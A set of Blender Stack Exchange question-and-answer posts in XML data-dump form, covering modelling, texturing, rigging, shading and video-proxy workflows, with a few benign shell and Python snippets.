  <row Id="36380" PostTypeId="2" ParentId="36378" CreationDate="2015-08-25T13:00:59.660" Score="2" Body="&lt;p&gt;I would suggest the &lt;strong&gt;Knife Project&lt;/strong&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8ZIEy.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ZIEy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you choose the cutting object, than the object to cut, enter in edit mode, put the camera perpendicular to the projection plane (if the object is shrinkwrapped you just have to avoid to make all the cutting geometry to be visible from the cam) and run the command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will also automatically select the inner faces of the cutting loop.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another could be to use &lt;strong&gt;boolean operations&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the cutting profile you have to create some faces and extrude them just of the amount needed to penetrate the object to cut. Than apply Boolean modifier set to Difference&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ei2Wo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ei2Wo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once applied, you should have the faces that belonged to the cutting object extrusion selected, ready to be deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Rs8YB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rs8YB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-08-25T16:41:02.433" LastActivityDate="2015-08-25T16:41:02.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36381" PostTypeId="1" CreationDate="2015-08-25T13:27:06.103" Score="0" ViewCount="132" Body="&lt;p&gt;I'm having an issue with the solidify modifier. First off, all of my bodies are manifold so I've already been through that drill. However, every time I use the solidify modifier it adds thickness to the model but it doesn't &quot;fill-in&quot; the model. It seems to leave a void gap between the outer layer and the inner layer (see attached images). Can someone explain to me how I create a model that is &quot;filled-in&quot; and why it does this? Trying to 3D print an alien.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16682" LastActivityDate="2015-08-25T13:27:06.103" Title="Problems with Solidfy Modifier for 3D Printing; creating a gap" Tags="&lt;modifiers&gt;&lt;3d-printing&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="36382" PostTypeId="1" CreationDate="2015-08-25T13:45:54.883" Score="3" ViewCount="134" Body="&lt;p&gt;I would like to create a sunken area. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/eA0sR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eA0sR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder what would be the best way to achieve this.&#xA;Should &quot;intruding&quot; (the opposite of extruding, I guess) be used here?&#xA;Scaling would not easily work because the neighbouring vertices would also be moved. I would have to introduce 2 extra ringcuts to avoid moving the neighbouring vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anybody tell me the best way to achieve what I want?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="14968" LastActivityDate="2016-02-22T05:13:41.033" Title="Should &quot;Intruding&quot; be used here?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36383" PostTypeId="1" CreationDate="2015-08-25T13:49:06.453" Score="2" ViewCount="1043" Body="&lt;p&gt;I have this little character:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GMcy1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GMcy1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;I tried to use shapekey but to no good:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BKZH7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BKZH7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Applying Subsurf Mod would make that vertices unable to stay together.&#xA;I tried to create a different eye in a different object and then parent to bones but it didnt come out well...&#xA;Any other way to do this?&lt;/p&gt;&#xA;" OwnerUserId="16261" LastEditorUserId="16261" LastEditDate="2015-08-26T01:24:10.577" LastActivityDate="2015-08-26T01:24:10.577" Title="Eye blinking method?" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36384" PostTypeId="2" ParentId="36329" CreationDate="2015-08-25T13:57:55.060" Score="0" Body="&lt;p&gt;Just found the most simple solution which I was looking for all the time:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using a mask texture I just plugged the &lt;strong&gt;Alpha&lt;/strong&gt; output of the latter too &lt;strong&gt;color textures&lt;/strong&gt; into the &lt;strong&gt;Factor&lt;/strong&gt; of the &lt;strong&gt;Mix Shaders&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11484" LastActivityDate="2015-08-25T13:57:55.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36385" PostTypeId="2" ParentId="36192" CreationDate="2015-08-25T14:09:29.340" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to see what commands is the blender UI applying to the&#xA;  skeleton so I could just copy the command of whatever I am doing to&#xA;  the script to achieve whatever I desire?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you can run blender with the &lt;code&gt;--debug&lt;/code&gt; flags. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./blender --debug-wm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./blender --debug-all&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="223" LastActivityDate="2015-08-25T14:09:29.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36387" PostTypeId="1" AcceptedAnswerId="36403" CreationDate="2015-08-25T14:34:40.160" Score="1" ViewCount="658" Body="&lt;p&gt;I have a textured model for which I would like to apply an alpha mask - it can contain several materials with several textures. The textures were applied using a given UV projection, and the mask I created needs another UV projection/unwrapping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you tell me how to tell Blender to mask the object material (make it transparent) where the mask says so (values in [0, 1]), even if it uses a different UV maps than the texture (I cannot therefore use an RGBA texture). The ideal solution would not use Nodes, or should be as cross-render compatible as possible (switching from Blender internal to Cycles should bring no additional steps to get the same alpha mask effect). I am definitely open to Python scripting (I'd like to implement this functionnality in a script).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hints appreciated, Thanks !&lt;/p&gt;&#xA;" OwnerUserId="15363" LastActivityDate="2015-08-25T16:34:16.563" Title="Alpha Mask a texture with a mask having a different UV Map" Tags="&lt;python&gt;&lt;texturing&gt;&lt;uv&gt;&lt;transparency&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36388" PostTypeId="1" AcceptedAnswerId="36390" CreationDate="2015-08-25T14:36:18.007" Score="4" ViewCount="523" Body="&lt;p&gt;I would like to produce a box with an effect like this one : &lt;a href=&quot;http://www.thisiscolossal.com/2015/07/guillaume-lachapelles-mirror-dioramas/&quot; rel=&quot;nofollow&quot;&gt;http://www.thisiscolossal.com/2015/07/guillaume-lachapelles-mirror-dioramas/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been trying to create a mix shader between glossy and transparent to achieve this effect, but it didn't gave me anything close to this...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what shader to use ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you ! :)&lt;/p&gt;&#xA;" OwnerUserId="5466" LastEditorDisplayName="user1853" LastEditDate="2015-08-25T15:34:08.883" LastActivityDate="2015-08-25T15:34:08.883" Title="How to setup shaders for semitransparent mirrors?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36389" PostTypeId="1" AcceptedAnswerId="36397" CreationDate="2015-08-25T14:47:09.413" Score="4" ViewCount="2566" Body="&lt;p&gt;I would like to move faces radially, but for some reason they don't want that.&#xA;When I move the faces, I expected them relatively to the middle / radially.&#xA;But as one can see from the screenshot, they move... ermhhh, differently.&#xA;One the face with the white circle moves as I expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nynOp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nynOp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody tell me how to achieve a radial movement?&lt;/p&gt;&#xA;" OwnerUserId="14968" LastActivityDate="2015-08-25T16:58:14.090" Title="Moving faces radially" Tags="&lt;mesh&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36390" PostTypeId="2" ParentId="36388" CreationDate="2015-08-25T14:48:27.750" Score="6" Body="&lt;p&gt;This would be for the box containing the scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the geometry node backfacing information you can make an object that is transparent from the outside but glossy on the inside:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3RRnP.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3RRnP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ePBCF.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ePBCF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-08-25T14:48:27.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36391" PostTypeId="1" CreationDate="2015-08-25T14:54:44.370" Score="2" ViewCount="1312" Body="&lt;p&gt;I have created hair for a human model in Blender, but exporting my creation into STL format does not work properly. When I re-import the exported STL file, there is no longer hair on the human model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I combine the human model and the hair into one mesh?&lt;/p&gt;&#xA;" OwnerUserId="16683" LastEditorUserId="1253" LastEditDate="2015-08-26T01:33:35.040" LastActivityDate="2015-08-26T09:37:27.893" Title="How to export hair particles to stl file?" Tags="&lt;export&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36392" PostTypeId="1" AcceptedAnswerId="36395" CreationDate="2015-08-25T14:56:36.667" Score="8" ViewCount="1043" Body="&lt;p&gt;I have a cube and created Text objects on all sides of the cube. After converting the text objects in meshes this is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iJQCx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iJQCx.jpg&quot; alt=&quot;object and text&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After joining all text meshes and the cube (selected the cube as the last one) this is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Lg1N8.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lg1N8.jpg&quot; alt=&quot;text and mesh joined&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; What is happening here? Why is my &quot;W&quot; suddenly changed?&lt;/p&gt;&#xA;" OwnerUserId="13877" LastEditorUserId="2217" LastEditDate="2015-08-26T03:00:11.040" LastActivityDate="2015-08-26T03:00:11.040" Title="Joining text objects and cube" Tags="&lt;modifiers&gt;&lt;objects&gt;&lt;text-object&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36393" PostTypeId="2" ParentId="36383" CreationDate="2015-08-25T15:00:29.983" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/e9vaT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e9vaT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kjVqu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kjVqu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Control-R Loop to Loop Cut and Slide one or two more concentric rings for greater control.  More concentric rings reinforce the closed configuration of your eye.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select 3 edge rings on edge of eye and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keyboard Shift E ...Edge Crease ... pull mouse to value 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The outside edge is smoothed by Subdivision Surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The eye edge is not smooth so vertices can be brought together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the pink edges of the edges with .... Edge Crease&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-08-25T15:43:59.347" LastActivityDate="2015-08-25T15:43:59.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36394" PostTypeId="2" ParentId="36392" CreationDate="2015-08-25T15:03:36.517" Score="4" Body="&lt;p&gt;It looks like your cube has a subserf modifier on it, so when you joined the two, the text inherited the subserf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The active object (the object you selected last, even if you deselected it), is the object that the other objects get joined to, so those objects also inherit it's modifiers. If you had selected one of the text objects last (making it active), it would have removed the subserf from the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can you do to fix it?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You could apply the subserf before joining the cube and the text&lt;/li&gt;&#xA;&lt;li&gt;You could adjust the text so that it's subserf friendly, by adding holding edges.&lt;/li&gt;&#xA;&lt;li&gt;You could keep them separate. This might seem obvious, but depending on the object, it can sometimes be better to just keep the objects separate.&lt;/li&gt;&#xA;&lt;li&gt;As GiantCowFilms mentioned, you can also use the mean crease. Usually I don't recommend using this because it can cause distortions if it's not used properly, but in this case it works perfectly fine.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-08-25T18:35:42.643" LastActivityDate="2015-08-25T18:35:42.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36395" PostTypeId="2" ParentId="36392" CreationDate="2015-08-25T15:27:13.573" Score="5" Body="&lt;p&gt;The issue is, as &lt;a href=&quot;https://blender.stackexchange.com/a/36394/3127&quot;&gt;@TARDIS Maker pointed out&lt;/a&gt; the sub surf modifier that you applied to the dice object. Its effects are being applied to the text. To rectify this you can add a &lt;strong&gt;mean crease&lt;/strong&gt; to the text to prevent the sub surf from taking effect. Select the vertices that make up the text and use &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;E&lt;/kbd&gt; then &lt;kbd&gt;1&lt;/kbd&gt;. This will make your text appear &lt;em&gt;exactly&lt;/em&gt; as before (Unlike holding edges which will cause minor rounding) with the added benefit of not having to apply the modifier (Maintaining a non-destructive workflow).&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-08-25T15:46:09.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36396" PostTypeId="2" ParentId="36389" CreationDate="2015-08-25T15:29:14.507" Score="0" Body="&lt;p&gt;Perhaps you want to scale them with the pivot point set to the object's center?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this causes them to move in the Z direction you have two alternatives to compensate:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;g z&lt;/kbd&gt; to adjust their position afterward.&lt;/li&gt;&#xA;&lt;li&gt;use the 3D cursor as a pivot point after you copy it from the object origin, and then adjust its Z before scaling the faces.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-08-25T15:29:14.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36397" PostTypeId="2" ParentId="36389" CreationDate="2015-08-25T15:36:37.270" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;Ensure that the Pivot Point is set to '3D Cursor'.&lt;/li&gt;&#xA;&lt;li&gt;In edit mode, select the faces you want to move radially.&lt;/li&gt;&#xA;&lt;li&gt;Hit 'Shift-S', then select 'Cursor to Selected'. The 3D Cursor should now be in the center of your selected faces.&lt;/li&gt;&#xA;&lt;li&gt;Hit 'S' then 'Shift+Z'. This will scale your faces in X and Y but not Z.&lt;/li&gt;&#xA;&lt;li&gt;Move your mouse or enter a value from the keyboard and hit enter when the faces have been moved radially to the correct position.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16665" LastActivityDate="2015-08-25T15:36:37.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36398" PostTypeId="2" ParentId="36389" CreationDate="2015-08-25T15:50:03.937" Score="2" Body="&lt;p&gt;Shrink Fatten.  Keyboard Alt-S.  Move Selected vertices along the geometric surface normal.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You're looking for &lt;strong&gt;Shrink/Fatten&lt;/strong&gt; operation. This will move selected faces or vertices along their own surface normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do so, select your faces or vertices and hit &lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="527" LastEditDate="2015-08-25T16:58:14.090" LastActivityDate="2015-08-25T16:58:14.090" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36399" PostTypeId="2" ParentId="36373" CreationDate="2015-08-25T15:56:48.400" Score="1" Body="&lt;p&gt;The object that you want to rotate should first be parented to an 'empty'.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In Object Mode, hit Shift-A, then select 'Empty', then 'Circle'.&lt;/li&gt;&#xA;&lt;li&gt;Clear all rotations on your gear object (set all to zero)&lt;/li&gt;&#xA;&lt;li&gt;Move your object to the center of the Circle Empty.&lt;/li&gt;&#xA;&lt;li&gt;Select your rotating gear object FIRST, then hold shift and select the Empty, then hit 'Ctrl+P', then 'Object'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can now place your Empty (along with the gear) anywhere you want, at any angle. When you tell the gear object to rotate it will rotate around the X,Y,Z orientation local to the empty.&lt;/p&gt;&#xA;" OwnerUserId="16665" LastActivityDate="2015-08-25T15:56:48.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36400" PostTypeId="1" AcceptedAnswerId="36406" CreationDate="2015-08-25T15:57:16.563" Score="2" ViewCount="74" Body="&lt;p&gt;I have been following a Blender book which asks me to build a navigation mesh (Properties &gt; Scene &gt; Build navigation mesh) but I am unable to find it in my installation. The version the author of the book is using is 2.6.3 and I am using 2.74 that is probably why. Is there any alternative to building a navigation mesh, or has the option been shifted elsewhere?&lt;/p&gt;&#xA;" OwnerUserId="16685" LastActivityDate="2015-08-25T16:40:13.430" Title="Navigation mesh not found in properties" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36401" PostTypeId="1" CreationDate="2015-08-25T16:09:56.880" Score="20" ViewCount="74864" Body="&lt;p&gt;I just got Blender and I don't know how to add textures to only one side. I've tried finding an answer but i can't. It adds the texture to all sides of the object.&lt;a href=&quot;https://i.stack.imgur.com/yE92K.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yE92K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want the blue on one side of the square. BTW i don't know where anything is in blender so if you have an answer please include pictures.&lt;/p&gt;&#xA;" OwnerUserId="16686" LastEditorUserId="6076" LastEditDate="2015-08-25T17:24:34.817" LastActivityDate="2015-08-25T17:24:34.817" Title="How do i add material/textures to only one face of an object?" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="7" ClosedDate="2015-08-25T18:27:19.343" ContentLicense="CC BY-SA 3.0" />
  <row Id="36402" PostTypeId="2" ParentId="36369" CreationDate="2015-08-25T16:34:08.950" Score="2" Body="&lt;p&gt;I've found this solution:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Blender looks for jpeg files, but actually you can use PNG files with .jpg extension.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is my workflow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Create resized copies of the render images:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;25% &gt; 1920 x 1080 -&gt; &lt;strong&gt;480&lt;/strong&gt; x 270&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Change all the extensions from .png to .jpg&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that the render path was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/User/render/def/barca/b.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the Proxy Directory in the VSE Panel was&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/User/render/proxy/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've used &lt;strong&gt;ffmpeg&lt;/strong&gt; to create a scaled copy of the render files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open terminal (I'm on Mac) and type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /User/render/&#xA;&#xA;ffmpeg -i def/barca/b-%04d.png -vf scale=480:-1 proxy/images/25/b-%04d.png_proxy.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;than rename all the files&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd proxy/images/25/&#xA;for old in *.png; do mv $old `basename $old .png`.jpg; done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(thanks: &lt;a href=&quot;https://stackoverflow.com/questions/14887275/changing-file-extensions-for-all-files-in-a-directory-osx&quot;&gt;https://stackoverflow.com/questions/14887275/changing-file-extensions-for-all-files-in-a-directory-osx&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a rough script that sets all the strips&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;C = bpy.context&#xA;C.scene.sequence_editor.proxy_storage = 'PROJECT'&#xA;&#xA;C.scene.sequence_editor.proxy_dir = '/path/for/proxy/'&#xA;&#xA;seq = C.scene.sequence_editor.sequences_all&#xA;for s in seq:&#xA;    s.use_proxy = True&#xA;    s.proxy.use_overwrite = False&#xA;&#xA;    # I ONLY NEED PROXY 25%&#xA;    s.proxy.build_25 = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7668" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-08-28T06:29:08.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36403" PostTypeId="2" ParentId="36387" CreationDate="2015-08-25T16:34:16.563" Score="0" Body="&lt;p&gt;In Cycles render use a texture with a selected uv input to determine a [factor] value with a mix node. The mix node has two inputs with a transparent shader and diffuse shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender render use the material texture with a given uv to affect [influence] alpha.  The material alpha may need to be set to zero.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-08-25T16:34:16.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36404" PostTypeId="1" AcceptedAnswerId="36465" CreationDate="2015-08-25T16:35:00.237" Score="2" ViewCount="1091" Body="&lt;p&gt;The following image represents a timer with minutes and seconds that I created:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/utI2F.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/utI2F.png&quot; alt=&quot;timer&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What is the correct value of the &quot;skip&quot; option in the always sensor if I want it to activate every 1 second? &lt;/li&gt;&#xA;&lt;li&gt;Also, what is the connection, if any, with the &quot;animation frame rate&quot; under the &quot;display&quot; section in the &quot;render&quot; toolbar?&lt;/li&gt;&#xA;&lt;li&gt;And at last, is there any connection between one of the above values and the fps of my game? Will those values be affected by the fps of my game somehow or the other way around? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-08-26T06:39:58.587" Title="Timers and animation frame rate" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;properties&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36405" PostTypeId="2" ParentId="36401" CreationDate="2015-08-25T16:35:10.443" Score="13" Body="&lt;p&gt;In &lt;em&gt;Edit Mode&lt;/em&gt; select a face (using a &lt;em&gt;face selection&lt;/em&gt; [&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;em&gt;--&gt;Face&lt;/em&gt;]) you want a texture to be projected on. Then press &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;--&gt;Unwrap&lt;/em&gt;. In &lt;em&gt;Uv Editor&lt;/em&gt; open your image texture.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xSiqA.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xSiqA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a new material to your face (using a &lt;strong&gt;&lt;em&gt;+&lt;/em&gt;&lt;/strong&gt; button) and press the &lt;strong&gt;&lt;em&gt;Assign&lt;/em&gt;&lt;/strong&gt; button.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ns9n6.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ns9n6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to the &lt;strong&gt;&lt;em&gt;Texture&lt;/em&gt;&lt;/strong&gt; header. Add a new texture and change its type to &lt;strong&gt;&lt;em&gt;Image or Movie&lt;/em&gt;&lt;/strong&gt;. Open an image and change its coordinates (in a &lt;em&gt;Mapping&lt;/em&gt; panel) to &lt;strong&gt;&lt;em&gt;UV&lt;/em&gt;&lt;/strong&gt;.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wGJe9.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wGJe9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ovlla.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ovlla.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-25T17:03:31.357" LastActivityDate="2015-08-25T17:03:31.357" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
